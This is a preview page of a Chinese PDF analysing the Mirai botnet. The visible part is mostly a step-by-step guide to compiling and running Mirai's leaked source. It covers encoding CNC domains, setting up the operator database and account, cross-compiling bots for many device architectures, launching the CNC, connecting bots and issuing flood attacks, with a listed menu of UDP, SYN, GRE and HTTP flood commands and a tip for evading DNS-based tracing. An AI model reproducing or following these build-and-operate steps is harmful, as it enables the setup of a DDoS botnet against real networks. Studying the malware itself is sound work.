logo资料库

Mirai木马总结—从源码到反汇编.pdf

第1页 / 共57页
第2页 / 共57页
第3页 / 共57页
第4页 / 共57页
第5页 / 共57页
第6页 / 共57页
第7页 / 共57页
第8页 / 共57页
资料共57页,剩余部分请下载后查看
Mirai总结—从源码到反汇编
Mirai环境配置和编译步骤
Mirai的作者的安装指南
编译环境需求
下载源码
编译加密模块和配置CNC
启动Mysql服务
配置交叉编译环境
编译CNC和BOT
源码分析
CNC部分原理分析
Telnet如何控制和感染Bot
用户登录CNC流程
通过CNC将Attack下发
Payload模块分析
Loader模块分析
Mirai样本反汇编
样本简介
概览
分析
参考资料
Mirai 总结—从源码到反汇编 By 帝星捧月 Mirai 总结—从源码到反汇编...................................................................................... 1 一、 Mirai 环境配置和编译步骤........................................................................ 1 1. Mirai 的作者的安装指南.......................................................................... 1 2. 编译环境需求...........................................................................................1 3. 下载源码...................................................................................................2 4. 编译加密模块和配置 CNC.......................................................................2 5. 启动 Mysql 服务....................................................................................... 2 6. 配置交叉编译环境...................................................................................2 7. 编译 CNC 和 BOT...................................................................................... 4 二、 源码分析......................................................................................................4 1. CNC 部分原理分析.................................................................................... 4 2. Telnet 如何控制和感染 Bot.................................................................... 10 3. 用户登录 CNC 流程................................................................................15 4. 通过 CNC 将 Attack 下发........................................................................16 5. Payload 模块分析.................................................................................... 27 6. Loader 模块分析......................................................................................44 三. Mirai 样本反汇编...................................................................................... 54 1. 样本简介.................................................................................................54 2. 概览.........................................................................................................54 3. 分析.........................................................................................................54 四. 参考资料....................................................................................................56 一、Mirai 环境配置和编译步骤 1. Mirai 的作者的安装指南 https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.md 2. 编译环境需求 Mirai 使用了 C,Go 两种编程语言,使用数据库存储数据,因此 sudo apt-get install git gcc golang electric-fence mysql-server mysql-client
3. 下载源码 git clone https://github.com/jgamblin/Mirai-Source-Code 4. 编译加密模块和配置 CNC cd mirai/tools && gcc enc.c -o enc.out ./enc.out string cnc.xxxx.com ./enc.out string report.xxxx.com 修改 tables.c 文件,将上述字符串替换到 add_entry 两项中 Cd ../../scripts Vim db.sql 添加”use mirai” 5. 启动 Mysql 服务 Service mysql start Cat db.sql | mysql -uroot -proot Mysql -uroot -proot mirai INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, ''); Exit 修改 Main.go 中 Database 相关字段,与设置的数据库匹配 6. 配置交叉编译环境 Cd .. && mkdir cross-compile-bin Cd cross-compile-bin wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2 wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz 2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2 Cd ../scripts Sudo ./cross-compile.sh 编译过程会提示是否安装 mysql,选否就可以 修改.bashrc,把刚才交叉编译的bin 目录加进去方便使用(没有 GO 环境的也要配置 GO 环境) export PATH=$PATH:/etc/xcompile/armv4l/bin export PATH=$PATH:/etc/xcompile/armv5l/bin export PATH=$PATH:/etc/xcompile/armv6l/bin export PATH=$PATH:/etc/xcompile/i586/bin export PATH=$PATH:/etc/xcompile/m68k/bin export PATH=$PATH:/etc/xcompile/mips/bin export PATH=$PATH:/etc/xcompile/mipsel/bin export PATH=$PATH:/etc/xcompile/powerpc/bin export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin export PATH=$PATH:/etc/xcompile/sh4/bin export PATH=$PATH:/etc/xcompile/sparc/bin export GOPATH=$HOME/go 修改完成后 source 一下
7. 编译 CNC 和 BOT go get github.com/go-sql-driver/mysql go get github.com/mattn/go-shellwords Cd ../mirai ./build.sh debug telnet Cd ../loader ./build.sh Ok,至此 Mirai 环境搭建部分就结束了。 二、源码分析 首先是 Mirai 源码的目录结构 Loader 主要将攻击载荷直接上传到受害者设备,像宏病毒和下载者,这也是对能 否成功攻击直接相关的部分 Mirai/bot 在受感染者设备上运行的恶意载荷 Mirai/cnc 攻击者进行控制和管理的端口(wget 和 tftp) Mirai/tools 一些工具函数,如加密,出错处理。 1. CNC 部分原理分析 Cnc 的入口在/Mirai/mirai/cnc/main.go 中
可以看到开启了两个端口,23 用来处理 telnet 登录,101 用作 API 处理。 当监听端口号为 23 时,由接收数据进行判定。若接受数据长度为 4,且分别为 00 00 00 x(x>0)时,为 bot 监听,将对应的 bot 主机添加为新的 bot;否则,则判 断是否是管理员并进行登录,如果成功登录,则可以通过命令执行管理员命令。 再向下走可以看到两个不同的 goroutine,api 对应 apiHandler 和 telnet 对应 initialHandler,里面均调用了 Handle()即处理接受的用户名和密码。
在 Admin.go 中可以看到 Handle()的具体实现,大致可理解为,在编译先读取 prompt.txt 作为提示语使用,没有找到这个文件会直接 return,然后再接受用户 输入的用户名和密码,与数据库存储的信息对比判断。 这里是相对路径,文件位于 Mirai 目录下,打开文件发现是俄文 可以把这里读取 prompt.txt 相关代码注释掉,没有大的影响。
用户逐个字符发送用户名,密码,cnc 接收后返回 接下来启动 cnc(需配置好 Go 环境): go build -o debug/cnc ./debug/cnc telnet xxx.cnc.domain 23 登录后使用环境配置时插入的账号密码,登录成功就会看到源码中这些提示,这 cnc/*.go 部分代码比较清晰 在登录过程中输入任意命令都断开,最好将 prompt.txt 路径改成绝对路径,遇到 Missisng in address....,修改/Mirai/mirai/cnc/main.go 加入端口号 const DatabaseAddr string 最后可以使用 mysql -h127.0.0.1 -P3306 -uroot -proot mirai 命令验证一下。 Bot 连接 CNC,在 debug 目录中执行./mirai.dbg。Bot 是通过 table.c 中的设置的域 名来解析 CNC 的服务器,解析域名在 resolv.c 的 resolv_lookup 中硬编码了 DNS = "127.0.0.1:3306"
服务器的地址 8.8.8.8 修改成其它 DNS,原因你懂的。 进入 Bot 控制台后就可以使用攻击指令了,具体指令使用?来查看帮助(真是贴 心) 这个类似于一些老式的路由器/交换机命令帮助模式,例如输入 udp ?就可以查 看下一个参数提示,非常方便。 攻击指令有 vse, stomp, grepip, udpplain, http, dsn, syn, ack 等,管理指令常用的有 adduser(添加用户并为其分配 Bot),botcount(查询已经接入的 bot 个数) 例如 DDOS 攻击 Available attack list udp: UDP flood vse: Valve source engine specific flood dns: DNS resolver flood using the targets domain, input IP is ignored syn: SYN flood greeth: GRE Ethernet flood ack: ACK flood stomp: TCP stomp flood greip: GRE IP flood udpplain: UDP flood with less options. optimized for higher PPS http: HTTP flood 用户通过 CNC 执行攻击指令之后,bot 会收到 CNC 命令并对目标发起攻击,同时, 在 CNC 的 Mysql 库中也可查询到攻击历史。下图是源码部分
分享到:
收藏